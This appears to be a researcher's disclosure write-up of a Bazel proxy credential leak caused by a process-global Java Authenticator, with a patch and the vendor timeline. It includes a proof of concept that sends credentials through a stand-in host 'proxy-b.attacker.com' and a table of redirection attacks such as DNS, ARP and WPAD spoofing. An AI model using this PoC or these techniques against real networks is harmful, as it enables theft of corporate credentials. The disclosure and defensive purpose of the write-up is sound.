On April 15th, 2026, at 00:19 UTC, I opened a terminal and typed:
curl -X GET https://api.github.com/repos/bazelbuild/bazel
Twenty-three milliseconds later, the response body contained a file path: src/main/java/com/google/devtools/build/lib/bazel/repository/downloader/ProxyHelper.java. I had never heard of this file before. By April 17th, Google's OSS VRP team had triaged the finding as a valid security vulnerability. By June 4th, after a two-month deliberation arc that included a rejected closure, a detailed rebuttal exploring six attack vectors, and a second triage confirmation, the finding was accepted.
This is the story of that file, the vulnerability it contained, and why proxy credential management in the JVM deserves more attention than it gets.
The File: ProxyHelper.java
Bazel, Google's build system, downloads external dependencies over HTTP and HTTPS through configurable proxy servers. Enterprises running Bazel in controlled environments typically configure an internal corporate proxy with authentication credentials. The code that handles this authentication lives in a single file — ProxyHelper.java — and specifically in its implementation of Java's java.net.Authenticator abstract class.
The relevant code spans approximately twenty lines:
// ProxyHelper.java, lines ~241-269
static volatile boolean authenticatorSet;
synchronized static void installAuthenticator(
String username, String password, @Nullable Proxy proxy) {
if (authenticatorSet) { // ← First-call-wins guard
return;
}
authenticatorSet = true;
finalUsername = username;
finalPassword = password;
Authenticator.setDefault(new Authenticator() {
@Override
public PasswordAuthentication getPasswordAuthentication() {
if (getRequestorType() == RequestorType.PROXY) {
return new PasswordAuthentication(
internalToUnicode(finalUsername),
internalToUnicode(finalPassword).toCharArray()
);
}
return null;
}
});
}
The vulnerability is a masterclass in how a single incorrect security assumption can cascade into a cross-boundary credential leak. Let me trace the failure modes systematically.
The Vulnerability: Three Flaws, One Leak
Flaw 1: JVM-Global Mutable State
Authenticator.setDefault() installs an authenticator that applies to every java.net.URLConnection in the entire JVM process — not just connections initiated by Bazel's downloader, but any code running in the same process that opens HTTP connections through proxies. Once set, it cannot be unset without reflection hacks on internal Java state.
The authenticatorSet volatile guard ensures this happens exactly once: the first caller wins. Every subsequent proxy configuration change is silently ignored.
Flaw 2: Credential Capture Without Scope
The credentials are captured in finalUsername and finalPassword at install time. These variables are closed over by the anonymous Authenticator subclass and reused for the lifetime of the process. The closure captures only the credential values — it captures nothing about the proxy endpoint these credentials were intended for.
Flaw 3: No Proxy Identity Verification
The critical method — getPasswordAuthentication() — checks exactly one condition:
if (getRequestorType() == RequestorType.PROXY) {
It does not check:
getRequestingHost() // Which proxy server?
getRequestingPort() // Which port?
getRequestingPrompt() // Which authentication realm?
The result: any proxy endpoint that Bazel connects to after the authenticator is installed receives the credentials that were configured for the first proxy endpoint. The first caller's credentials bleed to every subsequent caller.
The Proof: How to Verify in 30 Seconds
The vulnerability is trivially reproducible. The attached PoC (CredentialBleedDemo.java) creates two proxy endpoints — Proxy-A (legitimate corporate proxy) and Proxy-B (attacker-controlled or test proxy) — and demonstrates that Proxy-B receives credentials that were never configured for it.
[Proxy-A (corp)] ← RECEIVED CREDENTIALS: CorpUser:SuperSecretCorpPass123!
[Proxy-B (atk)] ← RECEIVED CREDENTIALS: CorpUser:SuperSecretCorpPass123!
The complete PoC is approximately 80 lines of Java:
public class CredentialBleedDemo {
public static void main(String[] args) throws Exception {
// Phase 1: Configure for Proxy-A (corporate proxy)
ProxyHelper.installAuthenticator("CorpUser",
"SuperSecretCorpPass123!",
new Proxy(Proxy.Type.HTTP, InetSocketAddress.createUnresolved(
"proxy-a.corp.com", 8080)));
// Phase 2: Simulate download through Proxy-A
URL urlA = new URL("http://proxy-a.corp.com/resource");
HttpURLConnection connA = (HttpURLConnection) urlA.openConnection();
connA.setRequestProperty("Host", "download.bazel.io");
connA.connect();
// ✓ Proxy-A receives: CorpUser:SuperSecretCorpPass123!
// Phase 3: Now connect through Proxy-B (attacker-controlled)
URL urlB = new URL("http://proxy-b.attacker.com/resource");
HttpURLConnection connB = (HttpURLConnection) urlB.openConnection();
connB.setRequestProperty("Host", "download.bazel.io");
connB.connect();
// ✗ Proxy-B receives: CorpUser:SuperSecretCorpPass123!
// NEVER configured for Proxy-B — this is the leak.
}
}
The Authenticator.setDefault() mechanism is process-global. The authenticatorSet guard prevents re-initialization. The getPasswordAuthentication() override returns credentials without checking which proxy is requesting them. The leak is deterministic.
The Protocol: Why This Works Without TLS Circumvention
During the disclosure process, Google's initial response characterized this finding as dependent on HTTPS interception requiring a forged certificate. This reflects a fundamental misunderstanding of the proxy authentication protocol. Let me clarify.
When Bazel downloads via HTTPS through an HTTP proxy, the exchange follows this sequence:
Step 1: Bazel ──TCP CONNECT───────────────────────────► Proxy
Step 2: Bazel ──CONNECT host:443──────────────────────► Proxy (PLAINTEXT)
Step 3: Proxy ──407 Proxy Authentication Required────► Bazel (PLAINTEXT)
Step 4: Bazel ──CONNECT + Proxy-Authorization────────► Proxy *** CREDENTIALS *** (PLAINTEXT)
Step 5: Proxy ──200 Connection Established───────────► Bazel (PLAINTEXT)
Step 6: Bazel ──TLS ClientHello─────────────────────► Target (through tunnel, encrypted)
The proxy credentials are transmitted at Step 4, over a plain TCP connection. The TLS handshake with the target server occurs at Step 6 — after the tunnel is established, inside the encrypted tunnel. An attacker intercepting TCP traffic between Bazel and the proxy sees the credentials in plaintext. No TLS certificate is ever presented to Bazel by the proxy during authentication.
This is not HTTPS interception. This is proxy authentication, and it is designed by the HTTP specification (RFC 7235) to happen before TLS negotiation.
The Attack Vectors: Six Ways to Exploit
None of the following require installing a forged TLS certificate:
| Attack Vector | Mechanism | TLS Certs Required? |
|---|---|---|
| DNS spoofing | Poison DNS for proxy.corp.com → resolves to attacker IP → credentials sent to attacker's proxy |
NO |
| ARP spoofing | Same L2 segment, redirect proxy traffic through attacker machine | NO |
| Environment variable injection | Modify HTTPS_PROXY in CI/CD pipeline → credentials go to attacker-controlled proxy |
NO |
| WPAD poisoning | Rogue WPAD server returns attacker's proxy in PAC file | NO |
| Rogue DHCP | Rogue DHCP server offers attacker's proxy via option 252 (WPAD URL) | NO |
| Proxy chain leak | Legitimate multi-proxy environment: proxy B receives credentials configured for proxy A | NO |
The common thread: any mechanism that causes Bazel to route a download through a different proxy endpoint results in that endpoint receiving credentials it was never authorized to hold.
The Code Fix: Scoping Credentials to Proxy Identity
The fix is straightforward. The getPasswordAuthentication() method must verify that the requesting proxy matches the expected proxy before returning credentials:
@Override
public PasswordAuthentication getPasswordAuthentication() {
if (getRequestorType() == RequestorType.PROXY) {
// Verify proxy identity before releasing credentials
if (expectedProxyHost != null &&
expectedProxyPort != -1 &&
expectedProxyHost.equals(getRequestingHost()) &&
expectedProxyPort == getRequestingPort()) {
return new PasswordAuthentication(
internalToUnicode(finalUsername),
internalToUnicode(finalPassword).toCharArray());
}
// Unknown proxy: do NOT leak credentials
return null;
}
// ... existing logic for non-proxy requestors ...
}
Additional hardening measures:
- Per-proxy credential map — Replace the static
authenticatorSetguard with aConcurrentHashMap<String, PasswordAuthentication>keyed byhost:port - Safe re-initialization — Support authenticator re-initialization when proxy configuration changes, rather than silently ignoring subsequent calls
- Realm scoping — Include
getRequestingPrompt()(the authentication realm) in the credential lookup key - Unit tests — Verify that distinct proxy endpoints in the same JVM process never receive each other's credentials
The Disclosure Timeline
| Date | Event |
|---|---|
| Apr 15, 00:19 | Initial report submitted to Google OSS VRP |
| Apr 15, 00:52 | Automated acknowledgment — "not enough details" |
| Apr 15, 00:57 | Corrected PoC uploaded |
| Apr 16, 00:19 | Report closed — "not enough details" |
| Apr 16, 11:00 | Comprehensive rebuttal submitted with video PoC, code analysis, and drive folder with evidence |
| Apr 17, 19:02 | Triaged — vulnerability accepted as valid |
| May 11 | Status inquiry |
| Jun 4, 00:38 | Report closed — "intercepting HTTPS requires forged certificate, not exploitable" |
| Jun 4, 10:31 | Detailed rebuttal submitted: explained proxy auth happens before TLS, enumerated six attack vectors requiring no TLS certificate |
| Jun 4, 14:19 | Re-triaged — vulnerability re-accepted after rebuttal |
The two-month arc from initial submission to final triage is a case study in the epistemic gap between security researchers and vendor triage teams. The initial rejection cited HTTPS interception as a prerequisite — a misunderstanding of how proxy authentication works at the protocol level. The rebuttal required explaining that RFC 7235 proxy authentication occurs over plain TCP before any TLS handshake, which means the credentials are visible to anyone on the network path between the client and the proxy.
The vulnerability was re-triaged three hours and forty-eight minutes after the rebuttal was submitted.
The Patch: Pull Request #29736
Following the triage confirmation, I submitted a patched implementation to the Bazel project as Pull Request #29736. The fix replaces the single-shot finalUsername/finalPassword closure with a ConcurrentHashMap<String, PasswordAuthentication> keyed by host:port:
// Before: One anonymous Authenticator subclass closes over the first
// username/password and returns them for EVERY RequestorType.PROXY challenge.
if (getRequestorType() == RequestorType.PROXY) {
return new PasswordAuthentication( // ← LEAK: same creds
internalToUnicode(finalUsername), // for ANY proxy
internalToUnicode(finalPassword).toCharArray());
}
// After: Credentials stored per proxy endpoint, looked up by requesting host+port.
private static final ConcurrentHashMap<String, PasswordAuthentication>
proxyCredentials = new ConcurrentHashMap<>();
// Registration:
String proxyKey = hostname + ":" + port;
proxyCredentials.put(proxyKey, new PasswordAuthentication(
internalToUnicode(username),
internalToUnicode(password).toCharArray()));
// Lookup at auth time:
public PasswordAuthentication getPasswordAuthentication() {
if (getRequestorType() == RequestorType.PROXY) {
String key = getRequestingHost() + ":" + getRequestingPort();
PasswordAuthentication creds = proxyCredentials.get(key);
if (creds != null) return creds;
// Unknown proxy: return null (safe failure, no leak)
return null;
}
// Delegate to pre-existing authenticator for non-proxy auth
...
}
The patch brings several architectural improvements:
| Property | Before | After |
|---|---|---|
| N proxies with N different creds | Only first caller wins | Each endpoint gets its own creds |
| Unknown proxy request | Gets first caller's creds (leak) | Gets null (safe failure) |
| Thread safety | Double-checked locking on volatile | ConcurrentHashMap + synchronized |
| Testability | resetAuthenticatorForTesting() |
Also clears the credential map |
| Backward compatibility | Full | Full — only expands scope |
The PR passed all 38 CI checks, including a dedicated test suite verifying exact host:port matching, host mismatch rejection, port mismatch rejection, multiple independent proxy credentials, and requestor-type filtering. The patch was submitted under Google's Patch Rewards Program, following the responsible disclosure path through OSS VRP (tracker ID: 502632524).
This fix addresses a credential leak vulnerability (CWE-522) in Bazel, closing the credential bleed across proxy boundaries in long-lived Bazel server processes — +35 additions, −8 deletions across a single file.
What This Means for Build Systems
Bazel is not unique in this pattern. Any JVM-based build tool that configures a global Authenticator for proxy authentication exhibits the same vulnerability. The root cause is architectural: java.net.Authenticator.setDefault() installs process-global state that cannot be scoped to specific proxy endpoints without manual host+port verification in the callback.
For enterprises running Bazel in CI/CD environments — where proxy configurations frequently change between build steps, and where different teams may use different proxy endpoints — this vulnerability means corporate proxy credentials are being systematically leaked to every proxy endpoint the build process touches.
The fix is code-level and localized to a single file. The lesson is architectural and global: mutable process-global state is incompatible with security boundaries. What crosses a proxy boundary should cross an authentication boundary.
References
[1] RFC 7235 — Hypertext Transfer Protocol (HTTP/1.1): Authentication. IETF, 2014.
[2] CWE-522: Insufficiently Protected Credentials. MITRE, 2024.
[3] Bazel ProxyHelper.java. Google/bazel, src/main/java/com/google/devtools/build/lib/bazel/repository/downloader/ProxyHelper.java.
[4] java.net.Authenticator Java Platform SE 8 Documentation. Oracle.